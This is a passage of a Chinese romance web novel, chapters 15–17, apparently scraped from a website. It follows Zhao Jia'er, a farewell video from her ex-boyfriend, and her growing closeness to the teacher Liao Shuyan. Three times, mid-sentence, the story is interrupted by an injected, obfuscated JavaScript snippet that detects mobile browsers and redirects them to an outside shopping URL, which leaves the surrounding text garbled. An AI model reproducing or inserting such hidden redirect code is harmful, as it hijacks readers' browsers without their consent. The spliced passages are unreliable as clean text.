窗外的风雨声似乎一瞬间远去了,耳边是廖书言平常话语讲出来的话,字字句句如同和风细雨洒在她心间,滋润着她那颗将要干涸的心田。 胸腔内的心,咚咚跳动着,一下一下,如鼓点,似骤雨。 她又听到了玻璃窗上叮叮咚咚的雨声。 捧着热茶轻轻啜饮了一口,温热的茶水润着干涩的喉咙,她总算是找到了自己的声音,却又不敢直视面前的那双眼睛。 “廖老师,您让我想想。” 她突然觉得对不起陆嘉清。 然而,也因此更加明白了自己的心思。 原来,念念不忘的不是一个人,而是一段岁月。 两年的执念,在现实面前,变得不堪一击。 而她,也不过是为了求一个结果。 若陆嘉清仍旧是当年的陆嘉清,那段被岁月掩埋的初恋,她也可以重新拾起。可是,当年她喜欢的少年,却早已变得面目全非。 她喜欢与廖书言相处的感觉,轻松自在,安心舒坦,还有她说不清道不明的她渴盼至今的安全感。 从乌镇到云南,跟着他,她不用担心会迷路,会被人骗。虽然经历了一场磨难,她对他的依赖似乎更大了,会在不经意间,有一些超越彼此关系的言行。 她没有听到廖书言的回话,以为是自己声音太小,他没听清,又抬头重复了一遍:“廖老师,您让我想想。” “嗯。”廖书言眼中含笑,点了点头。 这一次,她虽然没有给出明确的答复,但是,至少没有直接拒绝他。 他心里高兴,脸上却收敛了许多。 而赵嘉儿却有些失落了。 她期望他能说些什么,他的反应却太过平淡,她瞬间有一种是她赖上了他的错觉。 “廖老师,”赵嘉儿再不避着他的目光,豁出去一般,坦然道,“我想好了,从云南回去后,我就相亲去。” 廖书言怔了怔,轻问:“和谁相亲?” 赵嘉儿埋头啃着饼干,气鼓鼓地回了一句:“不知道。” 廖书言笑着,微微倾身在她耳边说道:“我也打算回家相亲。” 与她说话时,他从未离得这样近,赵嘉儿只觉得脸红脖子粗,不自在地缩了缩脖子,转过身子背对着他。 整个房间里,他在笑,她在躲,两人之间没有言语交流,但是,彼此目光相撞,又胜过千言万语。 这份尴尬无措一直伴随着赵嘉儿回到了市区医院。 陆嘉清之前的病房已被其他伤患占去,赵嘉儿找了一圈没找着自己的背包,整个人都沮丧了。 好在病房内看护的还是昨日的护士,对赵嘉儿有些印象:“你要找的是不是黑色的背包?你是赵嘉儿小姐?” 赵嘉儿连连点头:“护士姐姐知道我的背包在哪里?” “先前住在房间里的那位先生出院之前,就让我保管那个背包,说里面有很贵重的物品,如果赵嘉儿小姐过来拿的话,就交给她。” 赵嘉儿心里一沉,想到陆嘉清,还是感觉心里闷得慌。 在护士值班室取到背包,里面的物品不多不少。她将相机取出,发现电量不足,又放回了背包里。 廖书言见她情绪有些低落,便道:“吴医生的妻子在妇产楼,我得过去看看,你跟我一起过去,还是……” 赵嘉儿苦笑道:“我不认识,就在楼下等吧。” “医院人多,没有座位,外面还在下雨,你去车里等我,”廖书言将车钥匙递到她手中,“我半个小时后去找你。” 赵嘉儿在车后座上托着腮,看着车窗外被大风大雨摧残的花草,有些兴味索然。她对着车窗哈了一口气,随手画了一个爱心,又慢慢地抹去。 没有手机,她不知道怎样打发时间,又拿出相机,换上满格的电池后,便一张张翻看着沿途拍下来的风景。 看到灾区的照片,她又开始为池勉担忧。 翻到最新的拍摄日期,她赫然发现相册里多了一份新录制的视频,时间正是昨天晚上她被绑之后。 她迫不及待地从背包里掏出平板电脑,将这一份视频拷到了电脑里,紧张不安地点开。 除了陆嘉清,她想不到有谁会在那个时候拿她的相机录制视频。 最开始几秒,画面摇摇晃晃,全是黑影。她听到挪动桌椅的声音,接着画面里有了光,是烛光。陆嘉清的脸在烛光下,依旧如她记忆中的样子,只是变得苍白瘦削了许多。 温暖,阳光,真诚。 赵嘉儿的眼睛一刻也不敢从屏幕上移开,她怕一旦错开,她再也见不到陆嘉清久违的模样。 他坐在烛光下,对着镜头,仿佛是对着她一样,笑着讲述着:“嘉儿,我是嘉清……首先要向你说声对不起,害你受苦受惊了。你回来如果看到这段录像,可能就见不到我了,但是,你千万别再傻傻地找我了,我……我不知道该怎么跟你说。总之,三口老师不会丢下你不管,你以后好好跟着他!” 画面突然变黑,赵嘉儿不由坐直了身子,听到黑暗中再次传来陆嘉清的声音,微微有些哽咽。 “嘉儿,我做过很多坏事,害了很多人,不应该还活在这世上,可是……”陆嘉清顿了许久,缓过一口气,又道,“我在你手机上做了手脚,相信老师会察觉到,不会有事。你看了这段录像,记得将录像销毁,不要再过问我的任何事,忘了陆嘉清这个人,找个人好好过日子……我不希望你的生活有太多波折,所以,也不希望你选择的人是三口老师,池勉这个人靠得住,你可以跟他……” 又是长久的沉寂。 赵嘉儿的双目紧紧盯着屏幕,烛光燃起,陆嘉清的脸再次出现在她眼前。 “嘉儿,谢谢你找了我两年,以后,你得为自己活了。” 赵嘉儿擦了擦满脸的泪痕,慢慢合上电脑,心情久久不能平复。 陆嘉清的本性没变,只是被命运捉弄了而已。 廖书言撑着伞敲了敲车窗玻璃,赵嘉儿连忙将平板电脑和相机收起,抹干脸上的泪渍,探着身子为他打开了驾驶座的车门。 廖书言收起伞坐进来,向后看了一眼:“怎么总爱坐在后面?” 赵嘉儿笑道:“后面宽敞。” 她的声音有些虚,廖书言侧目注视她许久,看着她仍旧泛红的眼眶,问道:“你哭了?” “没有啊,”赵嘉儿矢口否认,手足无措,“我就是在车里无聊,把车窗摇下来吹了吹风,有风沙进了眼里。” 廖书言没有再追究,启动车子,平静地讲述着:“你朋友池勉打电话问了问你的情况,我跟他大致说了说,你还要回个电话过去么?” 赵嘉儿有些惊讶:“他知道我被绑的事了?” “他昨晚打你电话打不通,便打了我的电话,”廖书言道,“你们是关系亲密的朋友,我就跟他说了。” “哪里关系亲密了?”赵嘉儿不服气地反驳道。 廖书言笑道:“愿意与他睡一间房,关系不亲密?” “什么时候的事?”赵嘉儿更觉得憋屈,据理力争,“我什么时候与他睡一间房了?” 很快,她又想到了在乌镇的第一天。 “廖老师是说在乌镇的江南民宿?”见廖书言点头,她挠着头,为难地笑了笑,“那是特殊情况。而且,我们最后也没睡在一间房间里啊,反倒是这一路上跟廖老师……” 廖书言听她声音渐渐小了下去,情绪高涨了一些,也不再逗她,而是一本正经地说道:“以后,一个人在外要多长个心眼,不要被别有用心的人骗了。” “廖老师是说您别有用心么?”赵嘉儿笑道,“您难道是个大骗子?” “如果是,”廖书言认真地道,“你会失望么?” 赵嘉儿望着车窗外,小声道:“我看人的眼光还是很准的,才不会轻易被人骗呢!” 廖书言笑了笑,直接将车驱向了云来大酒店。 其实,他也算是骗了她。 明明知道她是姐姐安排的相亲对象,却瞒着她不说,一步步接近她。 他是个一心要骗取她真心的骗子啊! 因一场突来的暴雨,将许多游客困在了这座城市,酒店没有空余的房间,廖书言只能将赵嘉儿引到了自己入住的708房间。 赵嘉儿进浴室洗澡后,他敲响了隔壁706的房门,里面传来廖书眉不满的嘟囔声。 门后,廖书眉穿着白色肩带睡裙,顶着一头乱糟糟的长发,见了廖书言,便笑道:“回来啦?” 廖书言见她这身打扮,皱了皱眉:“你还在睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227873|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉?” 廖书眉将他让进屋里,打着哈欠找了一件披肩穿上,坐在茶几旁,苦哈哈地对身旁的廖书言哭诉道:“还不是因为担心你这个傻小子!晚上跟你打电话,你说你在高速上,后来又听说那边山体滑坡,出了事故,害我提心吊胆了一夜。你半夜才发一条短信过来,一句‘平安无事,明天回来’就把我打发了?” 廖书眉看他出门前还平平整整的西装,现在全是褶皱,又是一阵心疼,红着眼眶问道:“你昨天接了个电话就急急忙忙地离开,到底出了什么事?你姐夫一早就接到了警局的电话,这个时候还没有回来呢!” 廖书言眉心一跳:“警局找姐夫什么事?” “不知道,”廖书眉神色淡淡的,毫不关心地道,“听说是在他捐赠的医药器械里发现了不合格的药品。” “什么药品会惊动了当地警局?” “我也不懂医药方面的知识,他说他能解决,我还瞎操心什么?”廖书眉见他蹙眉沉思着,不禁有些疑惑,“怎么了?” 廖书言道:“姐夫公司的事,你了解多少?” 廖书眉道:“当初爸爸将这家医药公司抵押给他向家后,我还有什么权力过问?公司经营得是好是坏,也与我无关,我就把母亲生前苦心经营的慈善基金会和父亲在国内外的酒庄经营管理好,就好。” 廖书言叹息一声:“这些年,辛苦姐姐了。” 廖书眉微微笑道:“你就安安心心在学校教书,等时机成熟了,再回来帮我。” 廖书言抬腕看了看时间,道:“姐姐方便的话,待会一起出去吃个饭?” 廖书眉笑道:“跟我家的傻小子一起吃饭,怎么会不方便呢?你姐夫要是回来的话,就让他在酒店里吃吧。” 廖书言点头,斟酌了一会儿,有些不自然地道:“待会带你见一个人。” “谁呀?”廖书眉撑着下巴瞅着他,又趴下身子从下边瞅着他,“还知道害羞……有喜欢的姑娘了?你昨天急着离开还彻夜不归,真的是去见姑娘去了?” 廖书言受不了她的打趣,起身道:“你先收拾吧。” 看着他落荒而逃的背影,廖书眉在他身后笑得前俯后仰,追出门嘲笑道:“我的傻弟弟哟,还敢跟姐姐偷藏小秘密!” 她动作利索地梳妆打扮,换上她最爱的白色长裙,套上一件黑色短款皮外套,挎上白色挎肩包便出了门。 摁下708的门铃,她许久不见人来开门,又耐着性子摁了摁门铃:“书言,你在干嘛?” 廖书言没料到廖书眉会这么迫不及待地过来找他,听到门铃一直在响,他站在浴室的花洒下十分窘迫。 “嘉儿,帮忙开开门。” 赵嘉儿正为出门穿什么衣服而犯愁,翻遍了背包,也没找出一套适合约会逛街的衣服。出门旅游,她随身携带的都是休闲运动装,唯一一件素色碎花长裙又显得太过普通。 门铃响起时,她正在换衣服,又听见廖书言在催她,她赶紧回了一声:“马上!” 她拖着酒店宽大的棉拖鞋,一边理着还未干透的头发,一边向玄关处跑去。 房门打开,映入眼帘的是一张娇艳美丽的成熟女人的脸。对方气质高雅,对比之下,她就像丑小鸭见到了白天鹅,有些自惭形秽。 廖书眉进门后,双眼便没有从赵嘉儿脸上移开过。 赵嘉儿请她在窗前的茶几旁坐下,局促不安地道:“廖老师在洗澡……” “比照片里要有趣好看,”廖书眉托着下巴看着她,眼中满是笑意,“来,坐下啊!我跟你姐姐也算是好姐妹了,你就把我当姐姐。” 廖书言从浴室出来,见到窗边相谈甚欢的两人,微微笑了笑。 廖书眉向他看来,笑着调侃道:“傻小子,你也学会跟姐姐耍心眼了?还玩起了金屋藏娇的把戏?” “不是,”赵嘉儿慌忙解释道,“我跟廖老师是……是出了一些事,才住进了这里。” 廖书眉看她急红了脸,更加喜欢,伸手揪了揪她的脸蛋:“我在你这个年纪的时候,也和你一样,在心上人面前,就容易脸红。时光一去不回啊!” 赵嘉儿听出她话里的遗憾惋惜之情,隐隐猜到了一些缘由。 她怀念至今的恋人,已经与她各自天涯。 16. 第16章 掌中缘(2) 大雨过后,太阳在乌云堆里探着头,光芒忽散忽收。 不是大雨逢晴,而是又一轮风雨欲来的征兆。 车上,后座上的两个女人凑在一处说着悄悄话,廖书言偶尔从廖书眉嘴里听到自己的名字,再结合时不时灌进耳里的字句,他才知道,廖书眉与赵嘉儿说起的是这两年来他的相亲经历。 廖书眉帮他安排的几场相亲,他去过几次,没有一次谈得来。 他的世界,她们不在乎;她们的观念,他不理解。 若说那些女孩里,真正谈得来的是他经历了多次心力交瘁后,被他放了鸽子的一个女孩。后来,倒是让吴帆捡了一个大便宜。 廖书言不想这样的话题继续下去,默默将车内的音乐打开了。 他调换了几次频道,租来的宝马车里的车载音乐不是DJ风格,就是欧美摇滚风格,他有些无奈。 震撼耳膜的音乐在车内富有节奏得跳动着,廖书言正要关掉音乐,赵嘉儿突然惊喜地叫道:“迈克尔杰克逊的歌《Beatit》,这是姐姐最喜欢的一首歌!” 廖书言手一顿,偏头问了一句:“要听?” 赵嘉儿察觉到廖书言不爱这种吵闹的音乐,缩了缩肩膀,弯着眉眼笑道:“我随意。” “我也随意,”廖书眉翘着腿,眼里有丝笑意,“嘉儿的姐姐啊,就跟这音乐一样,青春靓丽,活力四射,你们姐妹俩,一个像火,一个像水,倒是天生一对姐妹花。” 赵嘉儿垂着脑袋,不好意思地挠了挠头:“姐姐比我能干很多,小时候爸爸妈妈忙不过来的时候,都是姐姐带着我。” “你姐姐的确是个能干的姑娘!”廖书眉毫不吝啬地夸赞,忽笑着对赵嘉儿道,“告诉你个秘密,我最初替书言看中的对象是你姐姐,哪知她就将你介绍给我家傻小子了!你看,不用我们两个当姐姐的操心,你们两个就自己走到一起了!这就是缘分!” 车内的音乐旋律不断重复着,赵嘉儿脸上有些羞窘,鞋尖在车毯上蹭着:“我和廖老师只是同行,还没……” “同吃同住还说没关系?”廖书眉斜着眼瞅着她,又看了看前面身子紧绷的廖书言一眼,“傻小子,别偷听女人说话,专心开你的车!” 廖书言在后视镜里看到赵嘉儿满脸通红,有些不忍,将车在路边停住:“餐厅的预定时间是中午十二点,现在不到十一点,先帮嘉儿在商场买一部手机。” 车停稳后,赵嘉儿迫不及待地下了车,双手无措地扯着长裙两侧。 廖书眉知道廖书言突然停车的用意,在赵嘉儿下车后,探过身子,在廖书言耳边恨铁不成钢地数落道:“你是怎么追女孩的?不是说从乌镇到云南,都同吃同住了么?怎么还没有拿下?” 廖书言一本正经地道:“嘉儿脸皮薄,你别总是与她玩笑。” 廖书眉笑着推了推他的肩,笑骂道:“你个白眼狼!有了老婆,就不要姐姐了!” “下车吧,”廖书言降下车窗,看向孤零零站在路边的赵嘉儿,对廖书眉道,“你和嘉儿去对面的商场等我,我找个位置停车。” 廖书眉下了车,挽上赵嘉儿的胳膊就走:“先去商场等他吧。” 赵嘉儿仍有些拘谨,廖书眉不开口说话,她就找不到话题来聊。她怕一开口,廖书眉又会打趣她与廖书言之间的关系。 毕竟,她与廖书言之间,还称不上是情侣。 而陆嘉清的那段录像,好似在她心里生了根,让她总也抛不下心里的那份罪恶。 她丢了他两年的时间,重逢后,却发现自己竟然不再理解他。 陆嘉清的心还在,而她的心,已慢慢走远了。 是她辜负了他,辜负了那段时光,那段恋情。 在商场的数码楼层里,赵嘉儿径直奔向HUAWEI手机专柜,在柜台里瞄了一圈,也没有找到与自己那款手机一样的款式。 廖书言知道她找的是哪一款,见她失望地蹙着眉头,询问了一句:“要不要换一款最新的款式?” 赵嘉儿挠着头,勉为其难地点了点头。 廖书眉见她不情不愿的模样,只觉有趣,一颠一跛地走到廖书言身后,在他耳边说着风凉话:“挺念旧,看来你追不到手的原因,是她有前男友啊!” 廖书言瞅一眼她的恨天高,好心提醒道:“你的左脚有些跛,不如先在那边的椅子上坐一会,我们待会过去找你。” 廖书眉拧着秀眉道:“我买这双鞋的时候,店员说不会磨脚,真是昧良心!你顺便帮我买一双运动鞋呗,凑合着穿就行。我的脚要废了!” 赵嘉儿将旧手机里的手机卡换进新手机里,发现手机卡里存着的电话号码也没有了,不由嘀咕道:“数据清理得这样彻底,我这张电话卡还能用么?” “你试试能打出电话么?”廖书言在一旁提醒道。 赵嘉儿调出拨号界面,抬头望了一眼廖书言:“我就拿廖老师的电话试试咯!” 廖书言见她快速地拨出一串熟悉的号码,笑着问道:“记得我的电话了?” 赵嘉儿红了脸,向他吐了吐舌尖,听到廖书言西装口袋里的电话响了,便道:“通了!廖老师接一下!” 廖书言笑着从口袋里掏出电话,接通后,就一眨不眨地看着对面的赵嘉儿。 赵嘉儿的声音虚虚实实,在眼前,在耳边,小心翼翼里带着小小的喜悦与满足。 她望着他,将手机举到嘴边,轻轻地说着:“廖老师,谢谢您!” “嗯,”廖书言也学着她的样子,对着手机里问道,“喜欢么?” “喜欢,”赵嘉儿红了脸,面对面讲电话的感觉很奇妙,“我待会给姐姐打个电话报平安。” 她不舍地挂断了电话,陪着廖书言在商场为廖书眉买过鞋后,便喜滋滋地上了车。 根据赵嘉儿的口味,廖书言预订的是一家港式茶餐厅,菜色摆上桌面时,赵嘉儿顿觉食指大开。 蜜汁叉烧排骨、脆皮烧鹅、三杯鸡、松茸老鸭汤、海鲜烩、蚝油生菜、清炒莴苣……荤素搭配,还有各类点心,她不知道从何处下筷。 “嘉儿,吃点别的菜呀,喝点松茸老鸭汤,能美容。”廖书眉见赵嘉儿只是夹着面前的两盘菜,将远处的菜盘往她面前推了推,随后,又向对面的廖书言打了一个眼色。 廖书言听到桌上的手机震动,看了一眼,发现是对面的赵嘉儿发过来的微信,狐疑地扫了她一眼。她偷偷向他吐出舌尖笑了笑,便咬住吸管,慢慢吸着玻璃杯里的橙汁。 鲜橙披萨:廖姐姐给我盛了老鸭汤,里面有松茸…… 言:不爱吃?不能吃? 鲜橙披萨:不爱吃。 “你们两个,吃饭就吃饭,还抱着手机玩!”廖书眉俏脸含怒,道,“特别是你,什么时候养成的坏习惯?带坏了我们的嘉儿!” 转过头,她又笑眯眯地对赵嘉儿说道:“嘉儿要研究新买的手机,等吃完饭了,有的是时间摸索。来,尝尝我给你盛的汤,再不喝就凉了。” 赵嘉儿只能收起手机,将那段“也不能吃”的文字删除,退出了微信。 她不忍心糟蹋廖书眉的一片好心,只能硬着头皮喝了一口。对她来说,含着一片片松茸,就如同嚼着一块块枯树皮,干干的,涩涩的。 她吃不惯这种味道。 她向桌下瞅了一眼,轻轻抬起脚,用鞋尖轻轻踢了踢廖书言的鞋尖。 一下,两下,三下。 廖书言垂目从桌沿看着她伸过来的右脚,向后缩了缩脚,她踢了个空,将右脚缩了回去。 猝不及防地,她却突然抬高脚,一脚踢在了他的脚腕处。 “嘉儿。” 赵嘉儿有种上课做小动作被老师点名的压迫感,规规矩矩坐好,一口一口喝着汤。 廖书眉不知道桌底下的风波,看看廖书言,又看看赵嘉儿:“书言,你那么严肃做什么?” 廖书言见不得赵嘉儿垂头丧气的模样,放轻语气道:“好好吃饭。” 赵嘉儿一声不响地将碗里的汤喝得干干净净,笑道:“我吃饱了!” “才喝了一碗汤就饱啦!”廖书眉有些意外,“比我的饭量还小。” 赵嘉儿用纸巾擦着嘴,笑了笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227874|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是还有饭后甜点么?我要留着肚子吃我爱吃的马蹄糕!” 廖书言不知为何心里有些发堵,见赵嘉儿搁下碗便坐在角落里捧起了手机,便让服务员将甜点送了上来。 廖书言将满满一碟马蹄糕推到赵嘉儿面前,唤了一声:“嘉儿。” 赵嘉儿抬起头,客气又疏离地笑了笑:“谢谢。” 赵嘉儿慢慢将一碟马蹄糕吃完,似乎感觉还没吃够,偷偷瞧了瞧安静用饭的姐弟俩,只能歇了再要一碟的心思,转而去吃桌上的水果沙拉。 廖书眉的电话响起,她看了看来电显示,向廖书言扬了扬手机:“你姐夫。” 她起身,走出包厢去接电话。 安静的包厢内,赵嘉儿只顾埋着头吃着,廖书言不知怎么打破这样冷凝的气氛,瞅到手边的手机,默默拿了起来。 言:在生气? 赵嘉儿看到微信,瞅了一眼正看着她的廖书言,脸一红,又埋下头在屏幕上敲着字。 鲜橙披萨:没有。 言:对不起。 鲜橙披萨:我还想吃马蹄糕…… 廖书言笑着放下手机:“先吃点饭垫垫,好不好?” 赵嘉儿重新拿起筷子,与廖书言讨价还价:“但是,我不要吃松茸。” 听她语气,像是与松茸有着深仇大恨一样,廖书言此时也由着她:“你不爱吃便不吃。” 他将松茸老鸭汤里的松茸一根根挑出来,笑道:“其实,在姐姐面前你也不用拘谨,她给你,你可以不接受。” 赵嘉儿道:“我不好意思开口啊……廖老师也不帮我,还凶我。” “我凶你了?” 赵嘉儿理直气壮地点头:“上学的时候,上课不认真听讲,被逮着了点名,老师就是像廖老师刚才那样叫我的名字的!” “你不好好吃饭,”廖书言虽在说教,眼里却带着笑,“嘉儿,你有时候还真有些顽皮。” 赵嘉儿正欲反驳,廖书眉已经推开包厢的门走了过来,她只能闭了口,只是快速地用筷子的一端戳了戳廖书言的胳膊。 “你姐夫回酒店了,我吃完饭就回去,”廖书眉没留意两人间的小动作,坐下后,脸色凝重地看着廖书言,“书言,你带嘉儿随处逛逛。不过,也别逛太久,天气不好,遇上暴雨,开车也会有危险。” 廖书言点头,又问道:“出什么事了?” “你姐夫好像卷进了一起绑劫案里,”廖书眉道,“具体情况我也不了解,好像是绑匪将受害者藏在了开往灾区的救济车里,刚好那辆车上的物资是你姐夫公司捐给灾区的器材医药。” 赵嘉儿不由抬起了头,看向了廖书言。 廖书言给了她一个安心的眼神,又询问着廖书眉:“姐夫不是说那批物资最快也是今天上午到么?怎么会在昨天晚上就被安排送进灾区了?” “送货的司机失踪了,昨晚在高速上截获那辆救援车时,听说受害者被救下了,但是,警察却在车上发现了几箱毒品,也就是所谓的不合格的药品。” 廖书言没想到赵嘉儿被绑的背后,会牵扯出这么多复杂的事情出来。他见赵嘉儿双手紧握成拳,紧张不安地看着他,他决定跟廖书眉坦白。 廖书眉越听越心惊,猛地站了起来:“谁要害你?这么多年了,还没完么?” 再看向赵嘉儿,她心里又愧疚又怜惜,俯身抱住她的肩,眼里闪着泪花:“嘉儿,跟着书言,害你受苦了。” 赵嘉儿笑了笑:“是廖老师救了我。” 廖书眉破涕为笑,从她肩上抬起头,眼中满是爱怜:“你们还真是天生一对!傻姑娘配傻小子!” “我们还没在一起呢……”赵嘉儿声如蚊蝇,耳朵已经烫得厉害。 “好了,不打趣你了,不然,我家傻弟弟又以为我欺负你,要来对我说教呢!”廖书眉起身理了理衣裙,挎上包,“这件事你们也别放在心上,姐姐会处理好。我先走了。” 廖书眉离开后,赵嘉儿才问着廖书言:“廖老师,我们不回去么?” 廖书言笑道:“帮你加了一份马蹄糕,不吃了?” 17. 第17章 掌中缘(3) 赵嘉儿有些后悔为了满足口腹之欲,不顾廖书言的劝说,将新点的马蹄糕全吃进了肚子里。她在女洗手间里几乎将胆汁也吐了出来,仍然觉得胸口堵得难受,只想吐。 廖书言在过道里等了许久不见她出来,唯恐她出了什么事,在女洗手间门前徘徊了几圈,直到再也看不到有人进出,他才敢走近,在外边喊了一声:“嘉儿!” 赵嘉儿感觉脑中有些缺氧,听到廖书言的叫声,没有气力去回应,只是扶着洗手池的台子不停地喘着气。 身边年纪与她相仿的女孩与她一同进的洗手间,从隔间里出来见她还在,便笑着问道:“几个月了?” 赵嘉儿不解,女孩又笑道:“我看你孕吐得厉害,挺为你难受的。我是一名妇科医生,能缓解你孕吐的症状,有需要的话,你可以找我。” 她递给赵嘉儿一张名片,又笑吟吟地说道:“外面是你先生吧?” 赵嘉儿看着手上的名片,猛然意识到被她误会了,从嗓子里发出一声:“不是……” 然而,女孩已扭着身子走了出去,随手又给洗手间外的廖书言发了一张名片:“您太太孕吐反应很大,有机会来找我。” 不等廖书言反应过来,她直接将名片塞进他的西装口袋里,带着一身浓烈的香水味,婀娜多姿地走了。 赵嘉儿捏着那张名片满脸尴尬地走了出来,见廖书言盯着手中的名片看得认真,她又将自己手中的名片塞到了他手里。 然后,一个人自顾自地往前走了。 廖书言看着名片上印着“黄玲”的一些信息,笑着将两张名片收了起来,抬腿追上了闷头闷脑往前走的赵嘉儿。 “你做了什么,她会有这样的误会?”赵嘉儿的身高并不高,脑袋离他肩膀还有着两个拳头的距离,他低头看着她,能看到她又浓又密的长睫毛上挂着的泪滴。 而赵嘉儿走着走着,忽然捂着肚子蹲下了,脸色惨白。 廖书言慌了神,蹲下身问道:“怎么了?” 赵嘉儿苦着脸道:“我好像真的吃坏肚子了,肠胃不舒服。” “我送你去医院……” “别!”赵嘉儿强撑着身子站了起来,“我有肠胃炎,应该是肠胃炎犯了,我的行李里有药片,回酒店吃点药,休息一下就好了。” 廖书言见她态度坚决,没有再劝,伸手扶过她的胳膊。出了餐厅,他见她连走路也困难,突然一手圈过她的腰身,弯腰将她抱了起来。 赵嘉儿一惊,他脚下带风,走得急,她去拽他的外套衣领,小声嘟囔着:“廖老师,我能走。” 廖书言不听,赵嘉儿无法,怕被行人看了尴尬,只能将脸埋进他的胸前,却在不满地喃喃自语:“这么多人看着呢!” 廖书言将她放在车后座上,替她系上安全带,笑道:“你在乌镇那一晚,在车上睡着了,我也这样抱过你,记不记得?” 赵嘉儿脸颊本来烫得厉害,闻言,更是惊得睁大了眼。 对此,她没有一点印象。 廖书言带着浅浅笑意的眼里,有让她心跳加速的柔光,她不敢细看,将他推出车门:“廖老师一点也不君子!” 廖书言坐到驾驶座上,回头见她仍然气鼓鼓地盯着他,硬着头皮解释道:“我叫你不醒,又怕你着凉,只能……抱你上楼。” 赵嘉儿无话可说,在他倒车时,又问道:“没做坏事?” “什么是坏事?”廖书言忍不住笑了。 赵嘉儿发现廖书言有些狡猾,不敢再追究,只是不甘心地嘟囔着:“明知故问!” 廖书言为她开了一点窗,看她专注地盯着路过的建筑和风景,便道:“你今天身体不舒服,改天再带你出来。” 车窗外有雨落在赵嘉儿的面上,她抬手摸了摸,湿的。 路上尘沙飞扬,道路两旁的树在突然而起的大风里东倒西歪,树叶在空中乱舞。飞过的香樟叶透过半开的车窗飞了进来,贴在后座座位上,她伸手轻轻拈起,叶子沾了雨,她又举到鼻尖闻了闻,香味忽有忽无,她又随手放了那片香樟叶。 风渐大,裹着尘沙,前行的路已经有些看不清了。 车里有风灌进来,廖书言开了车灯,朝赵嘉儿吩咐了一句:“嘉儿,把车窗关上。” 车窗关上,隔着厚厚的玻璃窗,她在漫漫尘沙里看不清风雨里的交警,突然觉得心里空落落的。 她不知道对陆嘉清的判决是怎样的? 没有门路,她似乎连探监都做不到。 昨夜受了惊,地方上的警署并没有第一时间找她做笔录,一切都是廖书言在安排。 廖书言让她耐心等市公安局来电话,因为陆嘉清会被送到市公安局里再次受审,到时候,需要她出面将昨夜经历的一切做个说明。 她以为今天会有消息,暗暗等到这个时候,廖书言的电话一直未响起。 回到酒店,酒店门口已经积了一滩滩污浊的雨水。廖书言直接将车开到了地下停车场,打开后座车门时,赵嘉儿已经疼得直不起腰来,浑身无力地瘫软到后座上。廖书言伸出双手,又是一副要抱她的姿态。 赵嘉儿起先有些躲闪,考虑到自己的身体状况,还是伸出胳膊攀上了他的手臂,在他臂弯里缩成一团。 电梯里,廖书言看她疼得脸色发白,低声说道:“我找医生过来替你看看。” “不用,”赵嘉儿有气无力地道,“吃过药,睡一觉就好了。” 经过706房间时,廖书言向那扇紧闭的门看了一眼,在708房间前停住,对怀里的赵嘉儿说道:“嘉儿,我腾不出手,房卡在我口袋里。” 赵嘉儿往他左边口袋里掏了掏,掏出两张熟悉的名片,攥在手里,皱了皱眉:“廖老师留着做什么?” 廖书言道:“你看看上面的地址。” 赵嘉儿正将房卡贴在了门上,没空去看手中的名片,只听“叮”的一声,房门已开。她将房卡插进卡槽里,按了按墙上的开关,房内的灯悉数亮了。 廖书言将她轻轻放在宽大的床上,又去找她的背包:“药在哪里?” 赵嘉儿趴在床上,随手将名片放在了枕头下,双手按着肚子,弱弱地道:“我单独放在最里面的夹层里。” 廖书言这样翻动她的包,手有些抖。 拉链拉开,满满的全是她身上的味道。背包装了很多东西,他难以想象,她那双瘦弱的肩膀是如何背着这样沉重的包走了这一路。 保温壶的水还温热,他按照她的吩咐,取出适量的药片喂着她喝了下去。 “先睡一会儿。”廖书言替她掖好被角,抬手擦去她额头上的细汗,将她黏在脸上的发丝拢到双耳后。 赵嘉儿觉得他的手掌很温暖,在他起身之际,从被窝里伸出手拽住了他的衣袖,眯着眼乞求着:“廖老师不要走……” “我不走,”廖书言重新坐下,笑道,“你睡吧,我守着你。” 赵嘉儿感觉自己很久没有睡过这样柔软舒适的床了,吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227875|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过药后,她感觉胃里舒服了很多,这一觉竟睡到了天黑。 房间的灯只开了墙壁上的壁灯,光线昏黄。赵嘉儿醒来,没有见到廖书言,下床各个角落里找了一圈,看到玄关处的房门虚掩着,她又跑过去拉开了门。 廖书言正在走廊里背对着房门接听着电话。赵嘉儿只听见他简短的应答声,却想不明白他为什么要离开房间讲电话。 但是,知道他还在,她心里不由安心了许多。 廖书言转身见赵嘉儿趴在门后瞅着他,那双才睡醒的双眼里,有着慵懒的笑意。 他大步走过来,她便向后退开,仍旧笑嘻嘻地看着他。 廖书言用背抵上门,笑着问她:“怎么总是看着我笑?” 